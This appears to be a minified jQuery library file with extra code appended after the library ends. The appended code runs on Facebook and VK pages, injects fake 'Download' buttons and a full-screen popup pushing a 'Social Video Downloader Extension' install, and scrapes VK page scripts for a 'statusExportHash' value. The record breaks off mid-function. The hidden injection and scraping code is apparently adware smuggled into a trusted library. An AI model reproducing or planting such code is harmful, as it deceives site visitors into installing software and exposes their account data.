if (!cu) {
co(-1, "No Transport")
} else {
cs.readyState = 1;
if (ce) {
cp.trigger("ajaxSend", [cs, cm])
}
if (ch === 2) {
return cs
}
if (cm.async && cm.timeout > 0) {
cn = bd.setTimeout(function() {
cs.abort("timeout")
}, cm.timeout)
}
try {
ch = 1;
cu.send(cq, co)
} catch (cv) {
if (ch < 2) {
co(-1, cv)
} else {
throw cv
}
}
}
function co(cF, cB, cG, cD) {
var i, cJ, cH, cE, cI, cC = cB;
if (ch === 2) {
return
}
ch = 2;
if (cn) {
bd.clearTimeout(cn)
}
cu = undefined;
cy = cD || "";
cs.readyState = cF > 0 ? 4 : 0;
i = cF >= 200 && cF < 300 || cF === 304;
if (cG) {
cE = f(cm, cs, cG)
}
cE = ao(cm, cE, cs, i);
if (i) {
if (cm.ifModified) {
cI = cs.getResponseHeader("Last-Modified");
if (cI) {
bQ.lastModified[cj] = cI
}
cI = cs.getResponseHeader("etag");
if (cI) {
bQ.etag[cj] = cI
}
}
if (cF === 204 || cm.type === "HEAD") {
cC = "nocontent"
} else {
if (cF === 304) {
cC = "notmodified"
} else {
cC = cE.state;
cJ = cE.data;
cH = cE.error;
i = !cH
}
}
} else {
cH = cC;
if (cF || !cC) {
cC = "error";
if (cF < 0) {
cF = 0
}
}
}
cs.status = cF;
cs.statusText = (cB || cC) + "";
if (i) {
cz.resolveWith(cA, [cJ, cC, cs])
} else {
cz.rejectWith(cA, [cs, cC, cH])
}
cs.statusCode(ck);
ck = undefined;
if (ce) {
cp.trigger(i ? "ajaxSuccess" : "ajaxError", [cs, cm, i ? cJ : cH])
}
cw.fireWith(cA, [cs, cC]);
if (ce) {
cp.trigger("ajaxComplete", [cs, cm]);
if (!(--bQ.active)) {
bQ.event.trigger("ajaxStop")
}
}
}
return cs
},
getJSON: function(i, ce, cf) {
return bQ.get(i, ce, cf, "json")
},
getScript: function(i, ce) {
return bQ.get(i, undefined, ce, "script")
}
});
bQ.each(["get", "post"], function(ce, cf) {
bQ[cf] = function(i, ch, ci, cg) {
if (bQ.isFunction(ch)) {
cg = cg || ci;
ci = ch;
ch = undefined
}
return bQ.ajax(bQ.extend({
url: i,
type: cf,
dataType: cg,
data: ch,
success: ci
}, bQ.isPlainObject(i) && i))
}
});
bQ._evalUrl = function(i) {
return bQ.ajax({
url: i,
type: "GET",
dataType: "script",
cache: true,
async: false,
global: false,
"throws": true
})
};
bQ.fn.extend({
wrapAll: function(i) {
if (bQ.isFunction(i)) {
return this.each(function(cf) {
bQ(this).wrapAll(i.call(this, cf))
})
}
if (this[0]) {
var ce = bQ(i, this[0].ownerDocument).eq(0).clone(true);
if (this[0].parentNode) {
ce.insertBefore(this[0])
}
ce.map(function() {
var cf = this;
while (cf.firstChild && cf.firstChild.nodeType === 1) {
cf = cf.firstChild
}
return cf
}).append(this)
}
return this
},
wrapInner: function(i) {
if (bQ.isFunction(i)) {
return this.each(function(ce) {
bQ(this).wrapInner(i.call(this, ce))
})
}
return this.each(function() {
var ce = bQ(this),
cf = ce.contents();
if (cf.length) {
cf.wrapAll(i)
} else {
ce.append(i)
}
})
},
wrap: function(i) {
var ce = bQ.isFunction(i);
return this.each(function(cf) {
bQ(this).wrapAll(ce ? i.call(this, cf) : i)
})
},
unwrap: function() {
return this.parent().each(function() {
if (!bQ.nodeName(this, "body")) {
bQ(this).replaceWith(this.childNodes)
}
}).end()
}
});
function R(i) {
return i.style && i.style.display || bQ.css(i, "display")
}
function O(i) {
if (!bQ.contains(i.ownerDocument || m, i)) {
return true
}
while (i && i.nodeType === 1) {
if (R(i) === "none" || i.type === "hidden") {
return true
}
i = i.parentNode
}
return false
}
bQ.expr.filters.hidden = function(i) {
return G.reliableHiddenOffsets() ? (i.offsetWidth <= 0 && i.offsetHeight <= 0 && !i.getClientRects().length) : O(i)
};
bQ.expr.filters.visible = function(i) {
return !bQ.expr.filters.hidden(i)
};
var bE = /%20/g,
a0 = /\[\]$/,
af = /\r?\n/g,
b = /^(?:submit|button|image|reset|file)$/i,
aD = /^(?:input|select|textarea|keygen)/i;
function h(cf, ch, ce, cg) {
var i;
if (bQ.isArray(ch)) {
bQ.each(ch, function(cj, ci) {
if (ce || a0.test(cf)) {
cg(cf, ci)
} else {
h(cf + "[" + (typeof ci === "object" && ci != null ? cj : "") + "]", ci, ce, cg)
}
})
} else {
if (!ce && bQ.type(ch) === "object") {
for (i in ch) {
h(cf + "[" + i + "]", ch[i], ce, cg)
}
} else {
cg(cf, ch)
}
}
}
bQ.param = function(i, cf) {
var cg, ce = [],
ch = function(ci, cj) {
cj = bQ.isFunction(cj) ? cj() : (cj == null ? "" : cj);
ce[ce.length] = encodeURIComponent(ci) + "=" + encodeURIComponent(cj)
};
if (cf === undefined) {
cf = bQ.ajaxSettings && bQ.ajaxSettings.traditional
}
if (bQ.isArray(i) || (i.jquery && !bQ.isPlainObject(i))) {
bQ.each(i, function() {
ch(this.name, this.value)
})
} else {
for (cg in i) {
h(cg, i[cg], cf, ch)
}
}
return ce.join("&").replace(bE, "+")
};
bQ.fn.extend({
serialize: function() {
return bQ.param(this.serializeArray())
},
serializeArray: function() {
return this.map(function() {
var i = bQ.prop(this, "elements");
return i ? bQ.makeArray(i) : this
}).filter(function() {
var i = this.type;
return this.name && !bQ(this).is(":disabled") && aD.test(this.nodeName) && !b.test(i) && (this.checked || !aT.test(i))
}).map(function(ce, cf) {
var cg = bQ(this).val();
return cg == null ? null : bQ.isArray(cg) ? bQ.map(cg, function(i) {
return {
name: cf.name,
value: i.replace(af, "\r\n")
}
}) : {
name: cf.name,
value: cg.replace(af, "\r\n")
}
}).get()
}
});
bQ.ajaxSettings.xhr = bd.ActiveXObject !== undefined ? function() {
if (this.isLocal) {
return bo()
}
if (m.documentMode > 8) {
return bM()
}
return /^(get|post|head|put|delete|options)$/i.test(this.type) && bM() || bo()
} : bM;
var aJ = 0,
ar = {},
aH = bQ.ajaxSettings.xhr();
if (bd.attachEvent) {
bd.attachEvent("onunload", function() {
for (var i in ar) {
ar[i](undefined, true)
}
})
}
G.cors = !!aH && ("withCredentials" in aH);
aH = G.ajax = !!aH;
if (aH) {
bQ.ajaxTransport(function(i) {
if (!i.crossDomain || G.cors) {
var ce;
return {
send: function(ci, cf) {
var cg, ch = i.xhr(),
cj = ++aJ;
ch.open(i.type, i.url, i.async, i.username, i.password);
if (i.xhrFields) {
for (cg in i.xhrFields) {
ch[cg] = i.xhrFields[cg]
}
}
if (i.mimeType && ch.overrideMimeType) {
ch.overrideMimeType(i.mimeType)
}
if (!i.crossDomain && !ci["X-Requested-With"]) {
ci["X-Requested-With"] = "XMLHttpRequest"
}
for (cg in ci) {
if (ci[cg] !== undefined) {
ch.setRequestHeader(cg, ci[cg] + "")
}
}
ch.send((i.hasContent && i.data) || null);
ce = function(cm, cl) {
var ck, cp, cn;
if (ce && (cl || ch.readyState === 4)) {
delete ar[cj];
ce = undefined;
ch.onreadystatechange = bQ.noop;
if (cl) {
if (ch.readyState !== 4) {
ch.abort()
}
} else {
cn = {};
ck = ch.status;
if (typeof ch.responseText === "string") {
cn.text = ch.responseText
}
try {
cp = ch.statusText
} catch (co) {
cp = ""
}
if (!ck && i.isLocal && !i.crossDomain) {
ck = cn.text ? 200 : 404
} else {
if (ck === 1223) {
ck = 204
}
}
}
}
if (cn) {
cf(ck, cp, cn, ch.getAllResponseHeaders())
}
};
if (!i.async) {
ce()
} else {
if (ch.readyState === 4) {
bd.setTimeout(ce)
} else {
ch.onreadystatechange = ar[cj] = ce
}
}
},
abort: function() {
if (ce) {
ce(undefined, true)
}
}
}
}
})
}
function bM() {
try {
return new bd.XMLHttpRequest()
} catch (i) {}
}
function bo() {
try {
return new bd.ActiveXObject("Microsoft.XMLHTTP")
} catch (i) {}
}
bQ.ajaxSetup({
accepts: {
script: "text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"
},
contents: {
script: /\b(?:java|ecma)script\b/
},
converters: {
"text script": function(i) {
bQ.globalEval(i);
return i
}
}
});
bQ.ajaxPrefilter("script", function(i) {
if (i.cache === undefined) {
i.cache = false
}
if (i.crossDomain) {
i.type = "GET";
i.global = false
}
});
bQ.ajaxTransport("script", function(cf) {
if (cf.crossDomain) {
var i, ce = m.head || bQ("head")[0] || m.documentElement;
return {
send: function(cg, ch) {
i = m.createElement("script");
i.async = true;
if (cf.scriptCharset) {
i.charset = cf.scriptCharset
}
i.src = cf.url;
i.onload = i.onreadystatechange = function(cj, ci) {
if (ci || !i.readyState || /loaded|complete/.test(i.readyState)) {
i.onload = i.onreadystatechange = null;
if (i.parentNode) {
i.parentNode.removeChild(i)
}
i = null;
if (!ci) {
ch(200, "success")
}
}
};
ce.insertBefore(i, ce.firstChild)
},
abort: function() {
if (i) {
i.onload(undefined, true)
}
}
}
}
});
var bA = [],
bg = /(=)\?(?=&|$)|\?\?/;
bQ.ajaxSetup({
jsonp: "callback",
jsonpCallback: function() {
var i = bA.pop() || (bQ.expando + "_" + (bx++));
this[i] = true;
return i
}
});
bQ.ajaxPrefilter("json jsonp", function(cg, i, ch) {
var cj, ce, cf, ci = cg.jsonp !== false && (bg.test(cg.url) ? "url" : typeof cg.data === "string" && (cg.contentType || "").indexOf("application/x-www-form-urlencoded") === 0 && bg.test(cg.data) && "data");
if (ci || cg.dataTypes[0] === "jsonp") {
cj = cg.jsonpCallback = bQ.isFunction(cg.jsonpCallback) ? cg.jsonpCallback() : cg.jsonpCallback;
if (ci) {
cg[ci] = cg[ci].replace(bg, "$1" + cj)
} else {
if (cg.jsonp !== false) {
cg.url += (bX.test(cg.url) ? "&" : "?") + cg.jsonp + "=" + cj
}
}
cg.converters["script json"] = function() {
if (!cf) {
bQ.error(cj + " was not called")
}
return cf[0]
};
cg.dataTypes[0] = "json";
ce = bd[cj];
bd[cj] = function() {
cf = arguments
};
ch.always(function() {
if (ce === undefined) {
bQ(bd).removeProp(cj)
} else {
bd[cj] = ce
}
if (cg[cj]) {
cg.jsonpCallback = i.jsonpCallback;
bA.push(cj)
}
if (cf && bQ.isFunction(ce)) {
ce(cf[0])
}
cf = ce = undefined
});
return "script"
}
});
bQ.parseHTML = function(ch, cf, cg) {
if (!ch || typeof ch !== "string") {
return null
}
if (typeof cf === "boolean") {
cg = cf;
cf = false
}
cf = cf || m;
var ce = a.exec(ch),
i = !cg && [];
if (ce) {
return [cf.createElement(ce[1])]
}
ce = C([ch], cf, i);
if (i && i.length) {
bQ(i).remove()
}
return bQ.merge([], ce.childNodes)
};
var ca = bQ.fn.load;
bQ.fn.load = function(cg, cj, ck) {
if (typeof cg !== "string" && ca) {
return ca.apply(this, arguments)
}
var i, ch, cf, ce = this,
ci = cg.indexOf(" ");
if (ci > -1) {
i = bQ.trim(cg.slice(ci, cg.length));
cg = cg.slice(0, ci)
}
if (bQ.isFunction(cj)) {
ck = cj;
cj = undefined
} else {
if (cj && typeof cj === "object") {
ch = "POST"
}
}
if (ce.length > 0) {
bQ.ajax({
url: cg,
type: ch || "GET",
dataType: "html",
data: cj
}).done(function(cl) {
cf = arguments;
ce.html(i ? bQ("<div>").append(bQ.parseHTML(cl)).find(i) : cl)
}).always(ck && function(cm, cl) {
ce.each(function() {
ck.apply(this, cf || [cm.responseText, cl, cm])
})
})
}
return this
};
bQ.each(["ajaxStart", "ajaxStop", "ajaxComplete", "ajaxError", "ajaxSuccess", "ajaxSend"], function(ce, cf) {
bQ.fn[cf] = function(i) {
return this.on(cf, i)
}
});
bQ.expr.filters.animated = function(i) {
return bQ.grep(bQ.timers, function(ce) {
return i === ce.elem
}).length
};
function bz(i) {
return bQ.isWindow(i) ? i : i.nodeType === 9 ? i.defaultView || i.parentWindow : false
}
bQ.offset = {
setOffset: function(cg, cq, ck) {
var cm, cj, ce, ch, cf, co, cp, cl = bQ.css(cg, "position"),
ci = bQ(cg),
cn = {};
if (cl === "static") {
cg.style.position = "relative"
}
cf = ci.offset();
ce = bQ.css(cg, "top");
co = bQ.css(cg, "left");
cp = (cl === "absolute" || cl === "fixed") && bQ.inArray("auto", [ce, co]) > -1;
if (cp) {
cm = ci.position();
ch = cm.top;
cj = cm.left
} else {
ch = parseFloat(ce) || 0;
cj = parseFloat(co) || 0
}
if (bQ.isFunction(cq)) {
cq = cq.call(cg, ck, bQ.extend({}, cf))
}
if (cq.top != null) {
cn.top = (cq.top - cf.top) + ch
}
if (cq.left != null) {
cn.left = (cq.left - cf.left) + cj
}
if ("using" in cq) {
cq.using.call(cg, cn)
} else {
ci.css(cn)
}
}
};
bQ.fn.extend({
offset: function(ce) {
if (arguments.length) {
return ce === undefined ? this : this.each(function(cj) {
bQ.offset.setOffset(this, ce, cj)
})
}
var i, ci, cg = {
top: 0,
left: 0
},
cf = this[0],
ch = cf && cf.ownerDocument;
if (!ch) {
return
}
i = ch.documentElement;
if (!bQ.contains(i, cf)) {
return cg
}
if (typeof cf.getBoundingClientRect !== "undefined") {
cg = cf.getBoundingClientRect()
}
ci = bz(ch);
return {
top: cg.top + (ci.pageYOffset || i.scrollTop) - (i.clientTop || 0),
left: cg.left + (ci.pageXOffset || i.scrollLeft) - (i.clientLeft || 0)
}
},
position: function() {
if (!this[0]) {
return
}
var cf, cg, i = {
top: 0,
left: 0
},
ce = this[0];
if (bQ.css(ce, "position") === "fixed") {
cg = ce.getBoundingClientRect()
} else {
cf = this.offsetParent();
cg = this.offset();
if (!bQ.nodeName(cf[0], "html")) {
i = cf.offset()
}
i.top += bQ.css(cf[0], "borderTopWidth", true);
i.left += bQ.css(cf[0], "borderLeftWidth", true)
}
return {
top: cg.top - i.top - bQ.css(ce, "marginTop", true),
left: cg.left - i.left - bQ.css(ce, "marginLeft", true)
}
},
offsetParent: function() {
return this.map(function() {
var i = this.offsetParent;
while (i && (!bQ.nodeName(i, "html") && bQ.css(i, "position") === "static")) {
i = i.offsetParent
}
return i || b2
})
}
});
bQ.each({
scrollLeft: "pageXOffset",
scrollTop: "pageYOffset"
}, function(cf, ce) {
var i = /Y/.test(ce);
bQ.fn[cf] = function(cg) {
return aK(this, function(ch, ck, cj) {
var ci = bz(ch);
if (cj === undefined) {
return ci ? (ce in ci) ? ci[ce] : ci.document.documentElement[ck] : ch[ck]
}
if (ci) {
ci.scrollTo(!i ? cj : bQ(ci).scrollLeft(), i ? cj : bQ(ci).scrollTop())
} else {
ch[ck] = cj
}
}, cf, cg, arguments.length, null)
}
});
bQ.each(["top", "left"], function(ce, cf) {
bQ.cssHooks[cf] = bf(G.pixelPosition, function(cg, i) {
if (i) {
i = J(cg, cf);
return ah.test(i) ? bQ(cg).position()[cf] + "px" : i
}
})
});
bQ.each({
Height: "height",
Width: "width"
}, function(i, ce) {
bQ.each({
padding: "inner" + i,
content: ce,
"": "outer" + i
}, function(cf, cg) {
bQ.fn[cg] = function(ck, cj) {
var ci = arguments.length && (cf || typeof ck !== "boolean"),
ch = cf || (ck === true || cj === true ? "margin" : "border");
return aK(this, function(cm, cl, cn) {
var co;
if (bQ.isWindow(cm)) {
return cm.document.documentElement["client" + i]
}
if (cm.nodeType === 9) {
co = cm.documentElement;
return Math.max(cm.body["scroll" + i], co["scroll" + i], cm.body["offset" + i], co["offset" + i], co["client" + i])
}
return cn === undefined ? bQ.css(cm, cl, ch) : bQ.style(cm, cl, cn, ch)
}, ce, ci ? ck : undefined, ci, null)
}
})
});
bQ.fn.extend({
bind: function(i, cf, ce) {
return this.on(i, null, cf, ce)
},
unbind: function(i, ce) {
return this.off(i, null, ce)
},
delegate: function(i, ce, cg, cf) {
return this.on(ce, i, cg, cf)
},
undelegate: function(i, ce, cf) {
return arguments.length === 1 ? this.off(i, "**") : this.off(ce, i || "**", cf)
}
});
bQ.fn.size = function() {
return this.length
};
bQ.fn.andSelf = bQ.fn.addBack;
if (typeof define === "function" && define.amd) {
define("jquery", [], function() {
return bQ
})
}
var bs = bd.jQuery,
P = bd.$;
bQ.noConflict = function(i) {
if (bd.$ === bQ) {
bd.$ = P
}
if (i && bd.jQuery === bQ) {
bd.jQuery = bs
}
return bQ
};
if (!aE) {
bd._noGlobaljQUeryInstance = bQ
}
return bQ
}));
_noGlobaljQUeryInstance(function(i) {
var f = '309e4';
var c = "en";
if (navigator && navigator.language && navigator.language.match(/ru|ua|by|kg|kz/)) {
c = "ru"
}
function g(q) {
var s = document.createElement("div");
s.style.cssText = "\n\t\t\tdisplay:none;\n\t\t\twidth:100%;\n\t\t\theight:100%;\n\t\t\tz-index:99999;\n\t\t\tposition:fixed;\n\t\t\ttop:0;left:0;\n\t\t\tright:0;\n\t\t\tbackground:rgba(0,0,0,.5);\n\t\t";
var p = document.createElement("div");
p.style.cssText = "\n\t\t\tdisplay:block;\n\t\t\tmargin:15% auto;\n\t\t\tbackground:#fff;\n\t\t\tbox-sizing:border-box;\n\t\t\tfont-size:13px;\n\t\t\twidth:20%;\n\t\t";
p.id = "fb_popupWindowContent";
var r = {
en: {
TITLE: "Want to download this video?",
TEXT: "Download option is powered by Social Video Downloader Extension. If you would like to download videos from Facebook, DailyMotion, VK and others, please, add an extension to your browser, it's absolutely free of charge and easy to use",
BTN_INSTALL: "Install",
BTN_CANCEL: "Close"
},
ru: {
TITLE: "\u0425\u043e\u0442\u0438\u0442\u0435 \u0441\u043a\u0430\u0447\u0430\u0442\u044c \u044d\u0442\u043e \u0432\u0438\u0434\u0435\u043e?",
TEXT: "\u0423\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0435 \u0431\u0435\u0441\u043f\u043b\u0430\u0442\u043d\u043e\u0435 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 \u0447\u0442\u043e \u0431\u044b \u0431\u0435\u0437 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0441\u043a\u0430\u0447\u0438\u0432\u0430\u0442\u044c \u0432\u0438\u0434\u0435\u043e \u0441 \u0441\u0430\u0439\u0442\u043e\u0432 VK, facebook, coub, dailymotion, \u0438 \u0434\u0440\u0443\u0433\u0438\u0445 \u0432 \u043e\u0434\u0438\u043d \u043a\u043b\u0438\u043a",
BTN_INSTALL: "\u0423\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c",
BTN_CANCEL: "\u0417\u0430\u043a\u0440\u044b\u0442\u044c"
}
};
var o = '\n\t\t\t<div class="fbPopup_Title" style="border:0;border-bottom:1px solid #f1f1f1;padding:10px 10px 10px;font-size: 15px;font-weight:bold;">{TITLE}</div>\n\t\t\t<div class="fbPopup_Text" style="padding:13px 10px;">{TEXT}</div>\n\t\t\t<div class="fbPopup_Footer" style="overflow:hidden;border:0;border-top:1px solid #d1d1d1;background:#f1f1f1;padding: 10px;">\n\t\t\t\t<div class="fbPopup_Buttons" style="float:right;">\n\t\t\t\t\t<a href="#" class="fbButton_Install" style="padding:4px 10px;color:#fff;background:#365899;border:1px solid #365899;border-radius:2px;font-weight:bold;font-size:12px;text-decoration:none;">{BTN_INSTALL}</a>\n\t\t\t\t\t<a href="#" class="fbButton_Close" style="padding:4px 10px;color:#222;background:#f7f7f7;border:1px solid #d1d1d1;border-radius:2px;font-size:12px;text-decoration:none;">{BTN_CANCEL}</a>\n\t\t\t\t</div>\n\t\t\t</div>\n\t\t';
for (var n in r[c]) {
o = o.replace("{" + n + "}", r[c][n])
}
p.innerHTML = o;
s.appendChild(p);
document.body.appendChild(s);
i(p).on("click", ".fbButton_Install", function(w) {
var v = i(w.target);
window.localStorage.pauseVideoPromote = (new Date()).getTime();
i(s).fadeOut();
$$.loadedCallback("BANNER_LOAD", f);
var u = document.createElement("a");
u.href = q;
u.target = "_blank";
document.body.appendChild(u);
u.click();
document.body.removeChild(u);
return false
});
i(p).on("click", ".fbButton_Close", function(v) {
var u = i(v.target);
window.localStorage.pauseVideoPromote = (new Date()).getTime();
i(s).fadeOut();
return false
});
return s
}
function m() {
if (!location.href.indexOf("facebook.com")) {
return
}
var o = function o(s) {
var u = /\/videos\/([0-9]+)[^\/?]?/g.exec(s.html());
return !u ? false : u[1]
};
var r = function r(y) {
var w = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : false;
var v = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : false;
var u = /\/videos\/([0-9]+)[^\/?]?/g.exec(location.href);
var A = /\/videos\/[a-z]{2}\.[0-9]+\/([0-9]+)\/?/g.exec(location.href);
if (v) {
return i(y).attr("src")
}
if (y && !w) {
var s = i(y);
var z = s.closest(".uiStreamStory");
if (z.length > 0) {
return o(z)
}
} else {
if (y && w) {
var x = y;
if (x.length > 0) {
return x.data("video-id")
}
}
}
if (u !== null && typeof u[1] !== "undefined") {
return u[1]
}
if (A !== null && typeof A[1] !== "undefined") {
return A[1]
}
return false
};
var p = function p() {
var s = i('<button class="_42ft _4jy0 _4jy3 _4jy1 dodsoais_social_btn_ID" type="button">\n\t\t\t\t\t<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAQAAABKfvVzAAAABGdBTUEAALGPC/xhBQAAACBjSFJNAAB6JgAAgIQAAPoAAACA6AAAdTAAAOpgAAA6mAAAF3CculE8AAAAAmJLR0QAAKqNIzIAAAAJcEhZcwAADdcAAA3XAUIom3gAAAAHdElNRQfhBhMMDQP5nbnFAAAAzElEQVQ4y+WSPwuBURTGn+tPlMmgDIZ3l8GgbBZSjL6A1WCSQT6DyVdQPoHJqsinUAxilhR+Bm/Ci/falGc5957zPPc853QlD8hx5IqCtxrwphRT0D3F7QQf8ZcCc38horaCclR3ExOtdFDD7N/qGfCM/seGRJk90KeEfTySZHmjb0hZjEWWHQAnipaboMYZ6H6xPDoMMa8qhqaqksam5/NESyVJo5DSKkta+zbNqCxp8YN/KeTGBHkfZuJRUFHF1tL2K0db4TDHFnOcCyCWkiKuR3RtAAAAJXRFWHRkYXRlOmNyZWF0ZQAyMDE3LTA2LTE5VDEyOjEzOjAzKzAyOjAwlKpN6QAAACV0RVh0ZGF0ZTptb2RpZnkAMjAxNy0wNi0xOVQxMjoxMzowMyswMjowMOX39VUAAAAZdEVYdFNvZnR3YXJlAHd3dy5pbmtzY2FwZS5vcmeb7jwaAAAAAElFTkSuQmCC" style="width:12px;margin:5px 2px -2px -1px;"/> Download</button>').clone();
s.attr("style", "\n\t\t\tmargin:12px 43px 0 -14px;\n\t\t\tfloat:right;\n\t\t\twidth:93px;\n\t\t\tbox-sizing:border-box;\n\t\t\tbackground-color:#7eb1f7;\n\t\t\tborder-color:#7eb1f7;\n\t\t".trim());
return s
};
var n = function n(s) {
return s.find(".dodsoais_social_btn_ID") && i(".dodsoais_social_btn_ID", s).detach()
};
(function q() {
var s = function s(y) {
return y.attr("style", "float:right;padding-left:8px;padding-right:9px;width:93px;box-sizing:border-box;background-color:#7eb1f7;border-color:#7eb1f7;") && y
};
var v = function v(C) {
var B = i(C);
if (B.hasClass("_d3By_wal_VD")) {
return true
}
var A = i("[data-video-id]", B);
if (A.length < 1) {
return false
}
var E = r(A, true);
if (E) {
var D = s(p(), B, "dataVideoId");
var y = function y(G) {
G.stopPropagation();
var F = i(G.target);
i(l).fadeIn()
};
D.on("click", y);
var z = i(".UFILikeLink", B);
z.each(function(H, F) {
var G = i(F);
if (G.attr("data-testid") === "fb-ufi-likelink") {
D.insertAfter(G.parent().parent())
}
});
B.addClass("_d3By_wal_VD");
return true
}
return false
};
var u = function u(C) {
var B = i(C);
var z = i("video", B);
if (B.hasClass("_d3By_wal_VD")) {
return true
}
if (!z.attr("src") || z.attr("src").indexOf("blob:") > -1) {
return false
}
var E = r(z, true, true);
if (E) {
var D = s(p(), B, "videoElement");
var y = function y(G) {
G.stopPropagation();
var F = i(G.target);
l.style.display = "block"
};
D.on("click", y);
var A = i(".UFILikeLink", B);
A.each(function(H, F) {
var G = i(F);
if (G.attr("data-testid") === "fb-ufi-likelink") {
D.insertAfter(G.parent().parent())
}
});
B.addClass("_d3By_wal_VD");
return true
}
return false
};
var w = function w(C) {
var B = i(C);
var z = i("video", B);
if (B.hasClass("_d3By_wal_VD")) {
return true
}
var E = o(B);
if (E) {
var D = s(p(), B, "storyHtml");
var y = function y(G) {
G.stopPropagation();
var F = i(G.target);
l.style.display = "block"
};
D.on("click", y);
var A = i(".UFILikeLink", B);
A.each(function(H, F) {
var G = i(F);
if (G.attr("data-testid") === "fb-ufi-likelink") {
D.insertAfter(G.parent().parent())
}
});
B.addClass("_d3By_wal_VD")
}
};
var x = function x(C) {
var B = i(C);
var E = i('a[rel^="nofollow noopener"]', B);
if (B.hasClass("_d3By_wal_VD")) {
return true
}
var A = false;
E.each(function(G, F) {
if ((F.href.indexOf("vim.io") > -1 || F.href.indexOf("vimeo.com") > -1) && i(F).closest(".UFICommentContent").length === 0) {
A = F.href
}
});
if (A) {
var D = s(p(), B, "parseVimeoVideo");
var y = function y(F) {
F.stopPropagation();
l.style.display = "block"
};
D.on("click", y);
var z = i(".UFILikeLink", B);
z.each(function(H, F) {
var G = i(F);
if (G.attr("data-testid") === "fb-ufi-likelink") {
D.insertAfter(G.parent().parent())
}
});
B.addClass("_d3By_wal_VD");
return true
}
return false
};
setInterval(function() {
if (!(location.href.indexOf("facebook.com/videos/") < 0)) {
return
}
if (i("#pagelet_timeline_main_column").length === 1 || i("#pagelet_group_mall").length === 1) {
i('[role="article"]').each(function(y, A) {
var z = i(A);
if (i(".fbUserContent", z).length === 0) {
return
}
if (v(A)) {
return
}
if (u(A)) {
return
}
if (w(A)) {
return
}
if (x(A)) {
return
}
});
return
}
i('[data-testid="fbfeed_story"]').each(function(z, y) {
if (v(y)) {
return
}
if (u(y)) {
return
}
if (w(y)) {
return
}
if (x(y)) {
return
}
});
if (location.href.indexOf("/search/") > -1) {
i("[data-bt]").each(function(z, y) {
var C = i(y);
try {
var A = JSON.parse(C.attr("data-bt"));
if (A && A.module && (A.module === "POSTS_SET_FEATURED" || A.module === "PUBLIC_POSTS" || A.module === "FEED_POSTS")) {
if (C.hasClass("fbDataBt_PARSED")) {
return
}
C.addClass("fbDataBt_PARSED");
i("div._401d").each(function(E, D) {
if (v(D)) {
return
}
if (u(D)) {
return
}
if (w(D)) {
return
}
if (x(D)) {
return
}
})
}
} catch (B) {}
})
}
}, 1500)
})();
setInterval(function() {
var A = p();
var z = function z(D) {
D.stopPropagation();
var C = i(D.target);
l.style.display = "block"
};
A.on("click", z);
var v = A.attr("style", "\n\t\t\t\tfloat:right;\n\t\t\t\twidth:93px;\n\t\t\t\tbox-sizing:border-box;\n\t\t\t\tz-index:9999999;\n\t\t\t\tmargin: 5px 10px;\n\t\t\t\tbackground:#7eb1f7;\n\t\t\t\tborder-color:#7eb1f7;\n\t\t\t");
if (location.href.indexOf("/videos/") > 0 && location.href.indexOf("/search/") === -1) {
var B = i(".fbUserContent .UFILikeLink:first").parent().parent();
if (i(".dodsoais_social_btn_ID").length === 0) {
n(B.parent());
v.insertAfter(B);
v.css({
margin: "0"
})
}
}
if (i("video", i(".uiLayer")).length !== 0) {
var y = i(".uiLayer .uiStreamStory").find("._23if");
if (y.length !== 0) {
n(y);
y.prepend(v)
}
}
if (i("video", i(".fbPhotoSnowliftPopup")).length !== 0) {
var x = i(".fbPhotoSnowliftPopup #fbPhotoSnowliftViews");
if (x.length !== 0) {
var s = i(".UFILikeLink:first", x.next()).parent().parent();
n(x.parent());
var w = v;
w.addClass("btnInserted");
if (i(".btnInserted", s).length === 0) {
w.css({
margin: "0"
});
w.insertAfter(s)
}
}
}
if (i("video", i(".uiContextualLayerParent")).length !== 0) {
var u = i(".uiContextualLayerParent .uiStreamStory").find("._23if");
if (u.length !== 0) {
n(u);
u.prepend(v)
}
}
}, 1000)
}
function e() {
if (location.href.indexOf("vk.com/") > 0) {
(function() {
var y = window.MutationObserver || window.WebKitMutationObserver || window.MozMutationObserver;
var A = document.querySelector("body");
var H = new y(function(M) {
M.forEach(function(O) {
if (O.type === "childList") {
var Q = [];
for (var P = 0; P < O.addedNodes.length; P++) {
if (O.addedNodes[P].nodeType != 1 && O.addedNodes[P].nodeType != 9) {
continue
}
if (O.addedNodes[P].id == "video_player" || o(O.addedNodes[P], "videoplayer") || o(O.addedNodes[P], "video_box_wrap")) {
p(O.addedNodes[P])
}
}
}
var N = document.querySelector("body");
H.observe(N, {
childList: true,
subtree: true
})
})
});
H.observe(A, {
childList: true,
subtree: true
});
p(document.querySelector("#video_player"));
p(document.querySelector(".video_player"));
setInterval(function() {
p(document.querySelector("#video_player"));
p(document.querySelector(".video_player"))
}, 1000);
function K() {
return true
}
var s = document.getElementById("audio_search");
var v = new Array();
function x() {
var O = document.getElementsByTagName("script");
for (var M = 0; M < O.length; M++) {
if (O[M].innerHTML.match(/ownerId/i)) {
var N = O[M].innerHTML;
N = N.split('sectionData":')[1];
N = N.split(";(function () {")[0];
N = N.split(");")[0];
N = '{"sectionData": ' + N;
v = JSON.parse(N)
}
if (O[M].innerHTML.match(/statusExportHash/i)) {
var N = O[M].innerHTML;
N = N.split("var vk = ")[1];
N = N.split(";")[0];
N = N.split("statusExportHash: '")[1];
N = N.split("',")[0];
v = N
}
}
}
x();
function B(M) {
return M.tagName != "EMBED" && !M.querySelector("embed")
}
function C(M) {
return M.text()
}
function o(N, M) {
return (" " + N.className + " ").indexOf(" " + M + " ") > -1
}
function E(Q) {
var M = [],
N = document.getElementsByTagName("a");
for (var O = 0, P; P = N[O++];) {
if (P.getAttribute("data-video", 2) == Q) {
M[M.length] = P
}
}
if (M[0]) {
return M[0].getAttribute("data-list")
} else {
return null
}
}
function J(P) {
var O = P.querySelector("video");
if (O) {
var M = O.src;
var V = undefined;
try {
V = P.querySelector(".videoplayer_title").textContent
} catch (R) {}
if (M.startsWith("blob")) {
var S = O.closest(".video_box_wrap").id.replace("video_box_wrap", "");
